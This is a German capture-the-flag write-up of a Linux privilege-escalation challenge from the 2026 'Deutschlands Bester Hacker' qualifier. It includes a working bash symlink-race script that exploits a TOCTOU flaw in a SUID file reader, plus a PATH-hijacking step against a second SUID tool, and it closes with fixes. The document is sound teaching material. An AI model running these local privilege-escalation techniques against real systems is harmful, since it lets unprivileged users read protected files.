Deutschlands Bester Hacker - Tux Escape (Linux) - Das Writeup

Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.

Wettbewerb Deutschlands Bester Hacker 2026 — Qualifikation
Kategorie Linux
Punkte 241
Angriffsklasse SUIDSUID-BinaryProgramm, das mit den Rechten seines Eigentümers statt denen des Aufrufers läuft.-TOCTOURace ConditionFehler, bei dem das Ergebnis von der zeitlichen Reihenfolge paralleler Vorgänge abhängt. (Symlink-Race) + PATH-HijackingPATH-HijackingUnterschieben eines eigenen Programms, indem der Suchpfad eines relativen Aufrufs manipuliert wird.
Ziel Als unprivilegierter User /opt/flag_part1.txt und /opt/flag_part2.txt lesen

Die Challenge

Ausgangslage ist eine Shell als unprivilegierter User in einem Container (Kubernetes-Pod, Talos-Kernel). Die Flag liegt in zwei Teilen unter /opt/, beide für den eigenen User nicht lesbar.

Aufklärung

$ id
uid=1000(user_da3bc41d) gid=1000(user_da3bc41d) groups=1000(user_da3bc41d)

$ uname -a
Linux ... 6.12.6-talos ... x86_64 GNU/Linux

Container-Härtung geprüft — kein einfacher Escape:

$ grep Cap /proc/self/status
CapEff: 0000000000000000        # keine Capabilities
  • Kein sudo
  • Keine Capabilities (CapEff=0), nicht privilegiert
  • Kein Docker-/containerd-Socket gemountet, kein Host-Filesystem

Der Weg führt also über SUID-Binaries:

$ find / -perm -4000 -type f 2>/dev/null
...
/usr/local/bin/secure_reader
/usr/local/bin/sys_admin_tool

Zwei custom SUID-root-Tools — die vorgesehenen Angriffsvektoren. Die Ziel-Dateien:

$ ls -la /opt/
-r-------- 1 root        root         18  flag_part1.txt
-r-------- 1 flagreader2 flagreader2  33  flag_part2.txt
drwxrwxrwx 2 root        root          6  user_files

/opt/user_files ist world-writable — das wird für den Symlink-Trick wichtig.

Die Schwachstelle

Die Binaries wurden base64-kodiert exfiltriert und lokal mit objdump -d disassembliert.

secure_reader

Aufruf: secure_reader /opt/<datei>. Kernlogik in print_file(pfad):

strncmp(pfad, "/opt/", 5);   // (1) nur Praefix-Check der ersten 5 Bytes
access(pfad, R_OK);          // (2) Zugriffspruefung mit REALER UID
usleep(5000);                // (3) 5 ms Pause
fopen(pfad, "r");            // (4) Oeffnen als EFFEKTIVE UID = root
// fgets-Schleife -> printf("%s") -> fclose

Zwei Schwächen:

  1. Präfix-Bypass: strncmp prüft nur, ob der Pfad mit /opt/ beginnt. Kein Kanonisieren → /opt/../tmp/x besteht den Check.
  2. TOCTOU: access() prüft mit der realen UID, fopen() liest als root — dazwischen liegen 5 ms. Zeigt der Pfad auf einen Symlink, kann man dessen Ziel im Fenster umbiegen: beim Check auf eine eigene Datei (erlaubt), beim Öffnen auf die root-Datei.

sys_admin_tool

pw = getpwnam("flagreader2");
setgid(pw->pw_gid);
setuid(pw->pw_uid);          // droppt root -> wird zu flagreader2
system("viewer --file-path /var/log/sys_health.log");

Schwäche: PATH-Hijacking. viewer wird ohne absoluten Pfad via system() (= /bin/sh -c) aufgerufen. Ein eigenes viewer im PATH läuft als flagreader2.

Der Angriff

root umgeht beim fopen die Dateirechte, daher liest der secure_reader-TOCTOU beide Flag-Teile — auch den, der flagreader2 gehört. Der Symlink liegt in /opt/user_files, das world-writable ist und dessen Pfad mit /opt/ beginnt:

cd /opt/user_files
echo x > ours
grab() {
  ln -sfn ours race
  ( while :; do ln -sfn "$1" race; ln -sfn ours race; done ) &
  local f=$!
  for i in $(seq 1 500000); do
    out=$(secure_reader /opt/user_files/race 2>/dev/null)
    case "$out" in
      ""|x|*Error*) ;;
      *) echo "$1 -> $out"; break;;
    esac
  done
  kill $f 2>/dev/null
}
grab /opt/flag_part1.txt
grab /opt/flag_part2.txt

Ein Hintergrund-Loop biegt den Symlink pausenlos zwischen ours (eigene Datei, access besteht) und der Zieldatei um. Der Hauptloop ruft secure_reader wiederholt auf, bis die 5-ms-Race gewinnt und root den Flag-Inhalt ausgibt.

Für Teil 2 gibt es einen zweiten, deutlich bequemeren Weg über sys_admin_tool:

cd /tmp
printf '#!/bin/sh\ncat /opt/flag_part2.txt\n' > viewer
chmod +x viewer
PATH=/tmp:$PATH sys_admin_tool

Die Flag

Beide Teile ergeben zusammengesetzt eine Flag im Format DBH{...}:

flag_part1.txt -> <TEIL 1>
flag_part2.txt -> <TEIL 2>

Was ich mitnehme

Beide Bugs sind Lehrbuchfälle, und beide haben denselben Kern: der geprüfte Zustand ist nicht der genutzte Zustand.

Die Fixes:

  • secure_reader: keine access()+fopen()-Trennung — stattdessen als realer User öffnen (setresuid / open mit gedroppten Rechten) oder realpath() kanonisieren und Symlinks per O_NOFOLLOW ablehnen.
  • sys_admin_tool: absolute Pfade in system(), besser execve ohne Shell und mit bereinigtem PATH. Eine SUID-Binary sollte nie ein relatives Kommando über die Shell starten.
  • /opt/user_files nicht world-writable machen — das war die Bühne für den Symlink-Race.